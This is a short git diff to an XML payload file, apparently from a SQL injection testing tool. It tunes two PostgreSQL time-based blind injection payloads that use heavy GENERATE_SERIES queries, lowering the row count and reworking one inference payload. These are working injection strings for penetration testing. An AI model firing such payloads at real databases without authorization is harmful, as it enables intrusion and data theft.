diff --git a/xml/payloads.xml b/xml/payloads.xml
index 1bfac97ad..c6e52b327 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -1266,7 +1266,7 @@ Formats:
         <clause>0</clause>
         <where>1</where>
         <request>
-            <payload>; SELECT [RANDNUM] WHERE EXISTS(SELECT * FROM GENERATE_SERIES(1, 30000000));</payload>
+            <payload>; SELECT [RANDNUM] WHERE EXISTS(SELECT * FROM GENERATE_SERIES(1, 3000000));</payload>
             <comment>--</comment>
         </request>
         <response>
@@ -1467,7 +1467,7 @@ Formats:
         <where>1</where>
         <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, 3000000)) ELSE [RANDNUM] END)</vector>
         <request>
-            <payload>AND EXISTS(SELECT * FROM GENERATE_SERIES(1, 30000000))</payload>
+            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1, 3000000))</payload>
         </request>
         <response>
             <time>[DELAYED]</time>